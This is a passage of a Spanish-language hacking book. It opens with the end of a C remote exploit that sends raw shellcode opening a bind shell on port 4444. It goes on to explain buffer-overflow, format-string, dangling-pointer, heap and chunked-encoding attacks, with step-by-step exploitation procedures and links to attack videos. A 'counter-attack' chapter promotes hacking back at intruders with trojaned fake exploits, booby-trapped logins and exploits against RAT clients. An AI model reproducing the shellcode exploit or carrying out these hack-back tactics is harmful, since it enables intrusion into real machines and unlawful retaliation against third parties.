if(AGene_C == 0) { printf("El exploit ha logrado conectar con el servidor.\n\n"); } else { printf("La funcion connect no funciona adecuadamente.\n"); WSACleanup(); system("PAUSE"); return 0; } /******************************************************************** *******************[ Enviando Datos al Servidor ]******************** ********************************************************************/ /*Declarando la variable AGene_Info que almacenará los datos de una shellcode que abrirá el puerto 4444 (examinado en XP SP2).*/ char AGene_Info[] = "\x00\x01\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x8b\xc3\x66\x05\x12\x01\x50\xc3" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90" "\x59\x81\xc9\xd3\x62\x30\x20\x41\x43\x4d\x64" "\x64\x99\x96\x8D\x7E\xE8\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C" "\x8B\x09\x8B\x69\x08\xB6\x03\x2B\xE2\x66\xBA\x33\x32\x52\x68\x77" "\x73\x32\x5F\x54\xAC\x3C\xD3\x75\x06\x95\xFF\x57\xF4\x95\x57\x60" "\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF" "\x47\x8B\x34\xBB\x03\xF5\x99\xAC\x34\x71\x2A\xD0\x3C\x71\x75\xF7" "\x3A\x54\x24\x1C\x75\xEA\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B" "\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3B\xF7\x75\xB4" "\x5E\x54\x6A\x02\xAD\xFF\xD0\x88\x46\x13\x8D\x48\x30\x8B\xFC\xF3" "\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x11\x5c\x32\xE4" "\x50\x54\x55\xAD\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\xFE\x44" "\x24\x2c\x83\xEF\x6C\xAB\xAB\xAB\x58\x54\x54\x50\x50\x50\x54\x50" "\x50\x56\x50\xFF\x56\xE4\xFF\x56\xE8\x90\x90\x90\x90\x90\x90\x90" "\x42\xfb\x61\x40\x00\x6e\x65\x74\x61\x73\x63\x69\x69\x00"; //La función send para enviar los datos al servidor: send(AGene_Socket, AGene_Info, sizeof(AGene_Info), 0); /******************************************************************** ************************[ Cerrar y Limpiar ]************************* ********************************************************************/
El Libro de Teraexe Alvaro J. Gene
269
/*La función shutdown para finalizar la transferencia de datos. Primer parámetro: Se especifica un socket de internet. Segundo parámetro: El valor SD_SEND para dejar de enviar datos.*/ shutdown(AGene_Socket, SD_SEND); //La función closesocket para cerrar un network socket: closesocket(AGene_Socket); //La función WSACleanup para dejar de usar archivos de sockets (.dll, .lib). WSACleanup(); printf("El exploit ha completado su funcionamiento.\n"); printf("Teclear: telnet + IP + Puerto.\n"); printf("Ejemplo: telnet 192.168.1.100 4444.\n"); /*La función system realizará una pausa para que el usuario pueda ver la información anterior.*/ system("PAUSE"); return 0; } }
El Libro de Teraexe Alvaro J. Gene
270
Resultado:
El Libro de Teraexe Alvaro J. Gene
271
Parte 12 – Entretenimiento: Videos Antiguos sobre Ataques de Buffer Overflow
A continuación se va a brindar una breve introducción sobre las herramientas o aplicaciones que se usan en los videos
para explotar las vulnerabilidades de buffer overflow:
Nmap: El Nmap es una herramienta de seguridad informática que se puede utilizar para escanear de forma remota los
puertos de una computadora que actúa como servidor. Una vez que se escanean los puertos, el Nmap puede identificar
la versión y nombre de las aplicaciones que se encuentran corriendo en esos puertos. Por ejemplo, si una computadora
tiene corriendo el servidor IIS de la versión 5.1, un atacante se puede dar cuenta de esa información gracias al escaneo
del Nmap. Además de los servidores y sus puertos, en algunos casos, el Nmap también puede ser utilizado para
identificar el sistema operativo y service pack de una computadora que actúa como servidor. Identificar los servidores y
el sistema operativo es el primer paso que un atacante debe realizar antes de explotar una vulnerabilidad a nivel de
memoria.
Metasploit: El Metasploit es una aplicación de seguridad informática para realizar auditorías en las redes. Una de las
partes interesantes sobre el Metasploit es que es una aplicación de hacking que cuenta con una gran cantidad de exploits
remotos, los cuales pueden ser utilizados por un atacante para explotar vulnerabilidades a nivel de memoria y
posteriormente infiltrarse en los sistemas de la víctima.
Perl: Perl es un lenguaje interpretado. En esta auditoría, usaremos el lenguaje Perl para ejecutar un exploit remoto y
ganar acceso a otra computadora.
Python: De forma similar a Perl, Python es un lenguaje interpretado, el cual puede ser utilizado para utilizar aquellos
exploits remotos que nos pueden permitir tener el control total de otra computadora.
El Libro de Teraexe Alvaro J. Gene
272
Datos del Primer Video:
Tipo de Ataque: Desbordamiento de Memoria
IP Atacante (Mi IP): 66.176.31.11
IP Víctima: 66.176.90.80
Herramientas: Nmap y Perl
Servidor: SMTP
Puerto: TCP 25
Aplicación Vulnerable: QK-SMTP v3.01
Datos del Segundo Video:
Tipo de Ataque: Desbordamiento de Memoria
IP Atacante (Mi IP): 75.74.37.110
IP Víctima: 75.74.254.134
Servidor: HTTP
Puerto: TCP 80
Herramientas: Nmap y C
Aplicación Vulnerable: BadBlue 2.5
Datos del Tercer Video:
Tipo de Ataque: Desbordamiento de Memoria
IP Atacante (Mi IP): 75.74.37.110
IP Víctima: 75.74.254.134
Servidor: TFTP
Puerto: UDP 69
Herramientas: Nmap y Python
Aplicación Vulnerable: TFTPDWIN v0.4.2
El Libro de Teraexe Alvaro J. Gene
273
15 Videos de Metasploit:
En el segundo link de descarga, se encuentran 15 videos en donde se usa el Metasploit para explotar vulnerabilidades a
nivel de memoria.
Descarga de los Videos:
http://www.teraexe.com/SOFT/Three_BoF_by_Socket_0x03.rar
http://www.teraexe.com/SOFT/Metasploit_by_Socket_0x03.rar
El Libro de Teraexe Alvaro J. Gene
274
Ataques en Formato de Cadena
En el campo de la informática, existe un agujero de seguridad a nivel de memoria que en inglés se le conoce como
format string vulnerability, lo que en español significaría vulnerabilidad en el formato de cadena. En este tipo de ataque,
el intruso logra desbordar la memoria de una aplicación explotando un símbolo vulnerable como el símbolo %s (o un
símbolo similar a %s, como por ejemplo el símbolo %x); usualmente, para que la aplicación sea vulnerable, el símbolo
%s se va a encontrar en un lenguaje de programación como C/C++, y ese símbolo vulnerable se va a encontrar dentro
del comando printf (o un comando que realice funciones similares a las de printf). Por ejemplo, una aplicación
vulnerable usaría una línea de código similar a la siguiente: printf(“%s”, buffer);. Para que un atacante pueda explotar
la línea de código anterior, él/ella tiene que introducir una cadena de %s que desborde la memoria (llamada buffer) de la
aplicación. Finalmente, una vez que el intruso desborda la memoria, él/ella puede ejecutar las instrucciones que él/ella
desee en los sistemas de la víctima, lo que le permitiría tomar todo el control de su computadora.
3. Historial de Aplicaciones Vulnerables en el año 2009:
A. Diciembre 3: Servidor HTTP de nombre "OrzHTTPd" por Patroklos Argyroudis
B. Noviembre 13: Samba 3.0.10 - 3.3.5 por Jeremy Allison
C. Septiembre 14 Servidor HTTP de nombre "httpdx 1.4" por Pankaj Kohli
D. Septiembre 10 Servidor FTP de nombre "WarFTPd 1.82.00-RC12" por corelanc0d3r
E. Septiembre 09 Servidor FTP de nombre "Ipswitch" por Jeremy Brown
F. Septiembre 01: dTunes 2.72 (Filename Processing) por TheLeader
G. Agosto 08: RadASM 2.2.1.5 (.mnu File) por SkuLL-HacKeR
H. Julio 09: MYSQL 5.0.45 COM_CREATE_DB por kcope
I. Marzo 30: Wireshark 1.0.6 PN-DCP por THCX Labs
J. Enero 14: Oracle TimesTen por Joxean Koret
El Libro de Teraexe Alvaro J. Gene
275
Datos del Primer Video:
Tipo de Ataque: Ataque en Formato de Cadena
IP Atacante (Mi IP): 98.242.163.186
IP Víctima: 71.196.49.10
Servidor: FTP
Puerto: TCP 21
Herramientas: Nmap y C
Aplicación Vulnerable: Dream FTP Server v1.2
Datos del Segundo Video:
Tipo de Ataque: Ataque en Formato de Cadena
IP Atacante (Mi IP): 98.242.163.186
IP Víctima: 75.74.150.32
Servidor: Streaming audio
Puerto: TCP 8000
Herramientas: Nmap y C
Aplicación Vulnerable: ShoutCast v1.9.4
El Libro de Teraexe Alvaro J. Gene
276
Pasos del Primer Video:
A. Primero, se usa el comando "telnet 71.196.49.10 21" para así obtener el nombre del servidor FTP.
B. Segundo, se usa "type exploit.c" para ver el código fuente del exploit.
C. Tercero, se escribe "gcc-3 exploit.c -o exploit.exe" para compilar el exploit en cygwin.
D. Cuarto, se teclea "exploit" para ver las instrucciones del exploit.
E. Quinto, se usa un exploit escribiendo "exploit 71.196.49.10 28876".
F. Sexto, se usa el comando "telnet 71.196.49.10 28876" para así obtener la shell de la víctima.
G. Séptimo, se teclean los comandos "netstat -na" para ver las conexiones establecidas.
Descarga de los Videos:
http://www.teraexe.com/SOFT/String_Attack_FTP_by_Socket_0x03.rar
http://www.teraexe.com/SOFT/Format_String_Shoutcast_by_Socket_0x03.rar
El Libro de Teraexe Alvaro J. Gene
277
Explotación de Puntero Colgado
En el campo de la informática, existe un tipo de vulnerabilidad a nivel de memoria que en inglés se le conoce como
dangling pointer, lo que en español significaría puntero colgado. Para entender con claridad lo que es una
vulnerabilidad de puntero colgado, lo ideal es tener una base en el lenguaje de programación C y entender el
funcionamiento de una variable y un puntero.
En el lenguaje de programación C, un informático puede crear una variable con la finalidad de almacenar o guardar
valores dentro de la memoria RAM (Random-Access Memory) de un dispositivo (computadora, celular, tableta, TV,
reloj, u otro dispositivo electrónico). Por ejemplo, si un informático quiere crear una aplicación que va a almacenar el
valor o costo de un producto, él/ella puede declarar una variable de nombre Valor_del_Producto; luego, un informático
podría utilizar el nombre de esa variable para mostrar el valor del producto. Por ejemplo, en el lenguaje de
programación C, un informático podría desarrollar la siguiente línea de código para declarar una variable:
int AG_Valor_del_Producto = 86;. Luego, un programador podría utilizar el comando printf para mostrar el valor del
producto de una forma similar a la siguiente: printf(“Costo del Producto: %i”, AG_Valor_del_Producto);. Cuando una
computadora esta almacenando el valor de una variable dentro de la memoria RAM, esa computadora le asigna (en
forma hexadecimal) una dirección de memoria al valor de la variable; por ejemplo, el valor 86 de la variable
AG_Valor_del_Producto podría ser almacenada en la memoria RAM en forma hexadecimal de una forma similar a la
siguiente: e8feec (e8feec vendría siendo la dirección de memoria). Luego, si un informático quiere mostrar la dirección
de memoria del valor de una variable, él/ella puede utilizar el operador & y escribir una línea de código similar a la
siguiente: printf(“Dirección de Memoria: %i”, &AG_Valor_del_Producto);.
Ya que se brindó una breve descripción sobre el funcionamiento de una variable, ahora vamos a pasar al
funcionamiento del puntero. ¿Qué es un puntero? En el lenguaje de programación C, un puntero es una variable que va
a almacenar la dirección de memoria de otra variable. Cuando un informático quiere crear un puntero, él/ella tiene que
utilizar el operador * y escribir una línea de código similar a la siguiente: int *AG_Puntero;. Luego, cuando un
El Libro de Teraexe Alvaro J. Gene
278
programador quiere almacenar la dirección de memoria de una variable dentro del puntero, él/ella debe desarrollar una
línea de código similar a la siguiente: AG_Puntero = &Variable;. ¿Por qué se le llama puntero? En programación, a un
puntero se le da el nombre de puntero porque es una variable que “apunta” a la dirección de memoria de otra variable.
Ya que se conoce lo que es una variable y un puntero, entonces podemos pasar a los punteros colgados. La
vulnerabilidad de los punteros colgados ocurre cuando un programador se encuentra desarrollando el código fuente de
una aplicación y sigue los siguientes pasos: (a) Crea un puntero con el valor de NULL. (b) Usa el puntero para
almacenar la dirección de memoria de una variable. (c) En la eliminación de un objeto (en programación, un objeto
puede ser una variable, una función, un método, una clase, un bloque de código… etc.), el puntero continua apuntando
a un lugar de memoria que ya ha sido liberada (deallocate). Para entender con claridad la vulnerabilidad de los punteros
colgados, lo ideal es ver un código fuente que tenga este tipo de bug:
{ //Creando un puntero con el valor de NULL int *AG_Puntero = NULL; //Bloque de código en donde se puede usar el puntero: { //Creando una variable regular: int AG_Variable_Regular; /*Almacenando la dirección de memoria de una variable dentro de un puntero*/ AG_Puntero = &AG_Variable_Regular; /*Después de la siguiente línea, el objeto o bloque de código termina:*/ } /*Después del bloque de código de arriba, AG_Puntero podría ser utilizado por segunda vez, lo que significa que tenemos un puntero colgado que podría ser utilizado por un intruso para desbordar la memoria y tomar todo el control de los sistemas de la víctima.*/ }
El Libro de Teraexe Alvaro J. Gene
279
¿Cuál sería la forma de evitar la vulnerabilidad de los punteros colgados? En el código fuente anterior, después de que
se termina el bloque de código (el bloque de código en donde se usó el puntero para almacenar la dirección de memoria
de una variable), al puntero se le podría asignar el valor de NULL nuevamente para evitar la vulnerabilidad de puntero
colgado.
Además del código fuente anterior, existe otra forma en la cual un informático pudiera llegar a crear una aplicación con
una vulnerabilidad de puntero colgado: Si un informático utiliza las funciones malloc y free al mismo tiempo, él/ella
puede llegar a crear un puntero colgado. Para entender con claridad este segundo método, vamos a ver el siguiente
código fuente:
void func() {
//Creando un puntero que usará la función malloc:
int *AG_Puntero = malloc(A_CONST);
//Usando la función free en el puntero anterior:
free(AG_Puntero);
}
En el código fuente anterior, si queremos evitar la vulnerabilidad del puntero colgado, solamente tendríamos que
asignarle el valor de NULL al puntero AG_Puntero después del uso de la función free.
El Libro de Teraexe Alvaro J. Gene
280
Lista de Aplicaciones con Vulnerabilidades de Punteros Colgados:
1. VLC AMV
2. HTTP Server Apache 2.2.14
3. Internet Explorer (mshtml.dll)
4. Mozilla Firefox (JSON.stringify)
5. IIS 5.1
Datos Sobre el Video:
Ataque: Explotación de Puntero Colgado
IP Atacante: 98.254.192.214
IP Víctima: 66.176.30.93
Herramientas: Metasploit v3.7.0
Aplicación Vulnerable: VLC AMV
Descarga del Video:
http://www.teraexe.com/SOFT/Dangling_Pointer_by_Socket_0x03.rar
El Libro de Teraexe Alvaro J. Gene
281
Desbordamientos de Montículo
En el campo de la seguridad informática, existe una vulnerabilidad a nivel de memoria que en inglés se le conoce como
heap overflow, lo que en español significaría desbordamiento de montículo. En este tipo de vulnerabilidad, el atacante
introduce una gran cantidad de bytes en una aplicación vulnerable con la finalidad de desbordar un área de la aplicación
que tiene como nombre montículo (heap). Una vez que se produce el desbordamiento del montículo, el atacante puede
sobrescribir otras zonas de memoria, lo que le permite tomar todo el control de la computadora de la víctima.
¿Cuál es la diferencia entre un desbordamiento de memoria y un desbordamiento de montículo? El concepto de
desbordamiento de memoria (buffer overflow) es un concepto que se le da a cualquier tipo de desbordamiento de
memoria, incluyendo los desbordamientos de montículo, los desbordamientos de pila, y otros por el estilo. Por otro
lado, el concepto de desbordamiento de montículo se aplica para referirse a un tipo de desbordamiento de memoria que
se produce específicamente en un área de la aplicación llamada montículo.
Datos del Video:
Tipo de Ataque: Desbordamiento de Montículo
IP Atacante: 192.168.1.101
IP Víctima: 192.168.1.104
Puerto: TCP 445
Servicio: Server Message Block (SMB)
Nombre del Exploit: Microsoft ASN.1 Library Bitstring Heap Overflow (msasn1_ms04_007_killbill)
Descarga del Video:
De todos los videos que se encuentran en el siguiente link de descarga, el video que tiene como nombre “MS04-007 by
Socket_0x03” es el video en donde se explota una vulnerabilidad de desbordamiento de montículo.
http://www.teraexe.com/SOFT/Metasploit_by_Socket_0x03.rar
El Libro de Teraexe Alvaro J. Gene
282
Desbordamientos de Pila
En el campo de la seguridad informática, existe una vulnerabilidad a nivel de memoria que en inglés se le conoce como
stack overflow, lo que en español significaría desbordamiento de pila. Al igual que los desbordamientos de montículo,
los desbordamientos de pila también son un tipo de desbordamiento de memoria. Como su nombre lo indica, los
desbordamientos de pila son un tipo de desbordamiento de memoria que se produce específicamente en un área de la
aplicación que tiene como nombre pila (stack).
Datos del Video:
Tipo de Ataque: Desbordamiento de Pila
IP Atacante: 65.9.148.29
IP Víctima: 75.74.37.189
Hostname: www.digito-net.com
Sistema Operativo: Windows 2000 SP4
Puerto: TCP 21
Servicio: FTP
Nombre de la Aplicación Vulnerable: CesarFTP v0.99g
Nombre del Exploit: Cesar FTP 0.99g MKD Command Buffer Overflow
Descarga del Video:
De todos los videos que se encuentran en el siguiente link de descarga, el video que tiene como nombre “CesarFTP by
Socket_0x03” es el video en donde se explota una vulnerabilidad de desbordamiento de pila.
http://www.teraexe.com/SOFT/Metasploit_by_Socket_0x03.rar
El Libro de Teraexe Alvaro J. Gene
283
Explotación de Codificación Segmentada
En el campo de la informática, existe un tipo de buffer overflow que en inglés se le conoce como chunked encoding, lo
que en español significaría codificación segmentada. ¿Qué es la codificación segmentada? La codificación segmentada
es un mecanismo de transferencia de datos que se realiza entre un servidor HTTP y el cliente de una página web. En
otras palabras, la codificación segmentada es un sistema de transferencia codificado que podría incorporar un servidor
HTTP para realizar el envió de datos (chunks) entre el servidor HTTP y el cliente del website. En este sistema de
transferencia, se encuentran unos segmentos o pedazos que en inglés se le llaman chunks, esos chunks son los que son
enviados entre el cliente del website y el HTTP server. Es por eso que a este tipo de transferencia se le da el nombre de
chunked encoding. Por un lado, tenemos la palabra encoding, los cuales son los datos que se van a codificar para la
transferencia entre el cliente y el servidor; por otro lado, tenemos la palabra chunk, que como se nombró anteriormente,
son los pedazos o segmentos que se envían entre el cliente y el servidor.
Una vez que tenemos los conocimientos necesarios para entender el mecanismo de transferencia llamado chunked
encoding, entonces podemos pasar a la vulnerabilidad de la codificación segmentada. En este tipo de ataque, el intruso
explota una vulnerabilidad de buffer overflow en un área específica del servidor HTTP, el cual es llamada chunked
encoding.
Lista de Servidores HTTP que han tenido o tienen Vulnerabilidades de Codificación Segmentada:
(a) Internet Information Server (IIS) v4.0 y v5.0
(b) Servidor HTTP Apache (v1.2.x a v1.3.24, v1.3.9 a v.1.3.24)
(c) iPlanet (Sun One)
El Libro de Teraexe Alvaro J. Gene
284
Videos sobre la Explotación de Codificación Segmentada:
Antes de poner el link de descarga de los videos, voy a brindar una breve introducción sobre los escaneadores de
vulnerabilidades ya que en uno de los videos se usa un escaneador de vulnerabilidad antes de explotar el bug de
chunked encoding en el servidor HTTP Apache. ¿Qué es un escaneador de vulnerabilidades? Como su nombre lo
indica, un escaneador de vulnerabilidades es una herramienta que se encarga de escanear o identificar de forma remota
los agujeros de seguridad que tenga una computadora que está funcionando como servidor. Por ejemplo, si una
computadora tiene instalado un servidor HTTP que corre en el puerto 80, un escaneador de vulnerabilidades se
encargaría de identificar las posibles vulnerabilidades que se pueden encontrar en ese servidor HTTP. Usualmente,
cuando un atacante se quiere infiltrar en un sistema, uno de sus primeros pasos consiste en utilizar un escaneador de
vulnerabilidades que le pueda brindar información sobre los puertos abiertos y sus posibles bugs. En el video que se
muestra más adelante, antes de infiltrarnos en un sistema mediante un exploit que explota una vulnerabilidad de
chunked encoding, primero se usa un escaneador de vulnerabilidades llamado Shadow Security Scanner, el cual es el
escaneador que nos hace saber que existe una vulnerabilidad de codificación segmentada en una computadora que tiene
corriendo un servidor HTTP.
En la descarga de los videos, deje un Power-Point que contiene 28 imágenes. En ese Power-Point, se da información
detallada sobre los procedimientos que se realizaron antes de explotar la vulnerabilidad de codificación segmentada en
el servidor HTTP Apache.
El Libro de Teraexe Alvaro J. Gene
285
Datos del Primer Video:
IP Atacante (Mi IP): 98.254.192.214
IP Víctima: 66.176.241.47
Vulnerabilidad: Explotación de Codificación Segmentada
Herramientas: Shadow Security Scanner y Metasploit
Aplicación Vulnerable: Servidor HTTP Apache
Nombre del Exploit: apache_chunked_win32
Datos del Segundo Video:
IP Atacante (Mi IP): 98.254.192.214
IP Víctima: 76.108.246.22
Vulnerabilidad: Explotación de Codificación Segmentada
Herramientas: Metasploit
Aplicación Vulnerable: Servidor HTTP IIS
Nombre del Exploit: iis_fp30reg_chunked
Descarga:
http://www.teraexe.com/SOFT/CE.rar
El Libro de Teraexe Alvaro J. Gene
286
Técnicas de Ataques a Nivel de Memoria
En esta sección, voy a brindar información sobre las técnicas de ataque que un informático puede realizar cuando él/ella
está manejando buffer overflow exploits. Por ejemplo, si una persona tiene sus computadoras infectadas con una
herramienta de administración remota, él/ella podría utilizar un exploit remoto para ganar acceso a los sistemas de la
persona que ha infectado su computadora con algún troyano. Otro ejemplo, si un administrador está implementando la
seguridad en sus servidores y un intruso se encuentra tratando de explotar un agujero de seguridad en los sistemas del
administrador, el administrador podría utilizar un exploit remoto para ganar acceso a los sistemas del atacante.
Estrategias de Contra-Ataque
En vista de que no hay mucha información relacionada con las estrategias de contra-ataque, he decidido crear este
capítulo para todos aquellos que quieran asegurar sus servidores y lidiar con aquellos intrusos que intentan vulnerar
nuestros sistemas, en especial nuestros servidores HTTP y sus websites. Cuando se trata de implementar la seguridad en
nuestros servidores HTTP, no solamente hay que enfocarse en parchear las vulnerabilidades, sino también en
contra-atacar a los intrusos; de esta forma, les damos una buena razón para tener miedo debido a que sus sistemas y
datos privados también se encuentran en peligro cuando entran al campo de batalla. Un punto importante que los
administradores deben tener en cuenta es que todas las técnicas de ataque y contra-ataque se desarrollan en el terreno de
ellos (por lo general), por lo tanto, este es un punto ventajoso para los administradores ya que pueden planear diferentes
tipos de estrategias para conducir al atacante por el camino que ellos desean. Aunque existen infinidades de estrategias
de contra-ataque, en esta sección podrán adquirir una base gracias a las siguientes seis técnicas que voy a mostrar a
continuación.
El Libro de Teraexe Alvaro J. Gene
287
Técnicas de Nivel Intermedio
Estrategia I - Login System vs. Brute Force Attacks: Si nuestro website contiene un panel administrativo con un sistema
de login, se pueden incluir diferentes tipos de passwords y accesos, de forma que uno sería para entrar al panel
administrativo y otro para convertir a los atacantes en víctimas. En otras palabras, se puede incluir un password corto
para los intrusos y uno largo para el panel administrativo. Si un atacante está utilizando ataques de fuerza bruta o
diccionario, este va a dar con el password corto, el cual es para redirigirlo a una parte del servidor en donde se explota
una vulnerabilidad en su navegador.
Estrategia II - Sistemas de login y Vulnerabilidades Falsas: Esta es la estrategia que se aplica en el video que se
encuentra más adelante. Si no utilizamos sistemas de login ya que por cuestiones de seguridad preferimos realizar las
modificaciones directamente desde la computadora que esta como servidor HTTP, se puede añadir un sistema de login
falso con varias vulnerabilidades falsas (course code disclosure, inyecciones SQL... etc.) que permitan a un atacante
averiguar el nombre de usuario y password de ese login. Si el atacante introduce aquel nombre de usuario y password
que se puede encontrar mediante una vulnerabilidad falsa, entonces este es redirigido a una parte del servidor en donde
se explota una vulnerabilidad en sus sistemas; de lo contrario, si alguien introduce cualquier nombre de usuario o
password en el sistema de login, entonces no se explotará ningún bug en su sistema.
Estrategia III - Banners y Exploits Falsos: Si un atacante busca explotar alguna vulnerabilidad a nivel de memoria en
alguno de nuestros puertos, se puede programar un servidor FTP/SMTP/DNS/POP3 con un banner que brinde
información falsa sobre un servidor que no existe, como por ejemplo el FTP server Teraexe v2.2. Al mismo tiempo, en
diferentes lugares del internet, se pueden dejar varios buffer overflow exploits (falsos) para el FTP server Teraexe v2.2.
Dentro de la shellcode del buffer overflow exploit, se añade una shellcode que le transfiera un RAT desde nuestro
servidor a la computadora del atacante. De esta forma, cuando el atacante ejecute el buffer overflow exploit, en lugar de
tomar el control de nuestras computadoras, nosotros terminaríamos tomando el control de su computadora.
El Libro de Teraexe Alvaro J. Gene
288
Técnicas de Nivel Avanzado
Estrategia IV - RAT Trap (Trampa de Ratas): Esta es una de mis técnicas preferidas y la que aplico en el video que se
encuentra al final del tutorial. Cuando un intruso quiere infiltrarse en nuestros servidores HTTP y no encuentra
vulnerabilidades a nivel de website o bugs a nivel de memoria en el HTTP server, entonces el atacante busca infiltrarse
en nuestros sistemas mediante otro puerto que le permita ganar acceso a las configuraciones/websites del servidor
HTTP. En esos casos, el primer movimiento de un intruso es realizar un escaneo de puertos para ver los diferentes tipos
de servicios que se encuentran activos en nuestras computadoras. Una técnica de contra-ataque que puede realizar un
administrador es dejar una computadora vulnerable (en donde no se encuentre el HTTP server y que al mismo tiempo
no contenga ningún tipo de información sensitiva) para que el atacante muerda el anzuelo, se infiltre en ese sistema, y
deje un RAT (Remote Administration Tool: troyanos, backdoors... etc.). Después de que el atacante deje el servidor de
su RAT instalado en nuestros sistemas, entonces podemos examinarlo para ver si es de algún RAT conocido (de esos
que rondan en el internet). Si es de un RAT conocido, entonces se puede descargar y examinar las vulnerabilidades a
nivel de memoria que se encuentren en el cliente del RAT. Una vez que se identifican las vulnerabilidades en el cliente
del RAT, se puede programar un exploit que se va a dejar a la escucha en el mismo puerto que usa el servidor del RAT.
Cuando el atacante quiera usar el cliente de su RAT para conectarse al servidor del RAT, este va a realizar una conexión
a un exploit que va a explotar un bug en el cliente de su RAT. Una vez explotada la vulnerabilidad, entonces ya se puede
tomar todo el control de los sistemas del atacante.
Estrategia V - Explotar Escaneadores de Vulnerabilidades: Se pueden crear varios archivos .html o .php que exploten
vulnerabilidades a nivel de memoria en aquellos escaneadores de vulnerabilidades que los atacantes suelen utilizar,
como por ejemplo el Acunetix. De esta forma, cuando el atacante empiece a escanear las vulnerabilidades de nuestros
servidores, automáticamente se pueden producir estos dos pasos: (a) Se explota una vulnerabilidad (buffer overflow,
dangling pointer... etc.) en el escaneador de vulnerabilidades del atacante (b) Se transfiere un RAT (Remote
Administration Tool) desde nuestros servidores a la computadora del atacante.
El Libro de Teraexe Alvaro J. Gene
289
Estrategia VI - Vulnerabilidades en Clientes: Si un atacante está realizando un escaneo de puertos para infiltrarse en
nuestros sistemas y modificar aquellos archivos que se encuentran dentro del servidor HTTP, entonces se puede utilizar
un firewall que filtre todos los puertos pero deje uno a la escucha, este puerto que queda a la escucha o abierto puede ser
utilizado para explotar vulnerabilidades en los sistemas que intenten conectar con él. Un ejemplo para que todo cuadre
correctamente sería de la siguiente forma: supongamos que el atacante utiliza el Nmap para escanear los puertos y
servicios de nuestra computadora, nuestra computadora le va a informar que tiene el servidor VNC corriendo en el
puerto 5900 (en realidad es un exploit y no el servidor del VNC), cuando el atacante intente conectar al puerto 5900
mediante el cliente del VNC, a este se le explota una vulnerabilidad de desbordamiento de memoria en su cliente del
VNC y ya con esto nosotros tomamos todo el control de su computadora o configuramos adecuadamente la shellcode
del exploit para que se produzca el efecto que nosotros deseemos en su computadora. Este tipo de estrategia más que
todo se aplica en las herramientas de administración remota como el VNC-Viewer que funcionan mediante cliente y
servidor.
Tipos de Vulnerabilidades
Alguna de las vulnerabilidades que puede utilizar el administrador de un servidor HTTP para convertir a los atacantes
en víctimas son las siguientes:
1) Explotación de punteros salvajes.
2) Explotación de punteros colgados.
3) Desbordamientos de montículo.
4) Desbordamientos de pila.
5) Desbordamientos de aritmética.
6) Desbordamientos de enteros.
7) Desbordamientos de retorno a libc.
8) Corrupción de la memoria double free.
El Libro de Teraexe Alvaro J. Gene
290
9) Corrupción de la memoria malloc
10) Ataques en formato de cadena.
Aplicaciones Vulnerables
El administrador de un servidor HTTP puede explotar las vulnerabilidades que se mencionaron anteriormente en las
siguientes aplicaciones:
1) Escaneadores de Vulnerabilidades.
2) Navegadores como Internet Explorer, Firefox, Opera y otros.
3) Reproductores de música o Videos.
4) Archivos relacionados con imágenes.
5) Archivos para leer información como PDF.
Redireccionar a un Atacante Adecuadamente
A la hora de redireccionar un intruso para vulnerar su computadora, un dato importante a tener en cuenta es que se
deben programar aplicaciones que detecten algunas configuraciones o aplicaciones de la computadora del atacante para
luego redirigirlo al puerto adecuado en donde se explotará el fallo; por ejemplo, si la computadora del atacante utiliza
Internet Explorer, esta puede ser redirigida al puerto 3333, de lo contrario, si la computadora del atacante utiliza
Firefox, esta puede ser redirigida al puerto 3332... De esta forma, el administrador que implementa la seguridad en su
servidor HTTP puede dejar más de 20 puertos a la escucha y algunos de estos pueden ser utilizados o no de acuerdo a la
computadora del atacante.
El Libro de Teraexe Alvaro J. Gene
291
Video de la Estrategia II
Información sobre el video: En este video tutorial no se van a vulnerar computadoras ajenas y todo se desarrolla en una
intranet, para esto utilizo tres de mis computadoras:
La computadora principal: Una computadora que tiene el control de las otras dos computadoras mediante VNC-Viewer,
esta se utiliza para mostrar los procedimientos que se realizan en las otras dos computadoras.
La computadora XP: Una computadora de nombre XP que tiene como IP 192.168.1.100, en esta se encuentra instalado
un servidor HTTP y se aplican las estrategias que podría realizar un administrador que implementa la seguridad en sus
servidores y websites. En este sistema se encuentra un sistema de login con una vulnerabilidad de Source Code
Disclosure, si se introduce cualquier dato no pasará nada, pero si se introduce el nombre de usuario y password
correcto, la persona será redirigida a una parte del servidor en donde se explota una vulnerabilidad y el administrador
del servidor HTTP tomará todo el control de esa computadora. Para la explotación de la vulnerabilidad se utiliza el
Metasploit, el cual se configura adecuadamente para explotar un fallo en el Internet Explorer del atacante.
La computadora BUG: Una computadora de nombre BUG que tiene como IP 192.168.1.103, en esta se aplican los
procedimientos que podría utilizar un atacante a la hora de vulnerar un servidor HTTP o un website. Primero, se utiliza
el escaneador de vulnerabilidades Acunetix, el cual muestra una vulnerabilidad de Source Code Disclosure. Segundo,
se utiliza un exploit para explotar el fallo de Source Code Disclosure y obtener el nombre de usuario y password de un
sistema de login. Tercero, se introduce el nombre de usuario y password en el sistema de login. Finalmente, en lugar de
encontrar el panel administrativo del servidor HTTP, este es redirigido a una parte del servidor en donde se explota una
vulnerabilidad en su computadora.
El Libro de Teraexe Alvaro J. Gene
292
Video de la Estrategia IV
Información sobre el video: En el siguiente video tutorial que es sobre la estrategia número cuatro, si van a poder
apreciar un ataque que se produce vía internet.
Datos del video:
IP de la víctima que se convierte en atacante: 98.254.192.214
IP del atacante que se convierte en víctima: 66.176.30.93
Cliente del RAT que es explotado: RealVNC 3.3.7
Herramientas utilizadas por "98.254.192.214": TCPView y Metasploit v2.7
Pasos del Video:
1. Primero, se utiliza la línea de comandos para escribir "netstat -na" y así ver la IP del atacante (66.176.30.93) que tiene
controlada nuestra computadora.
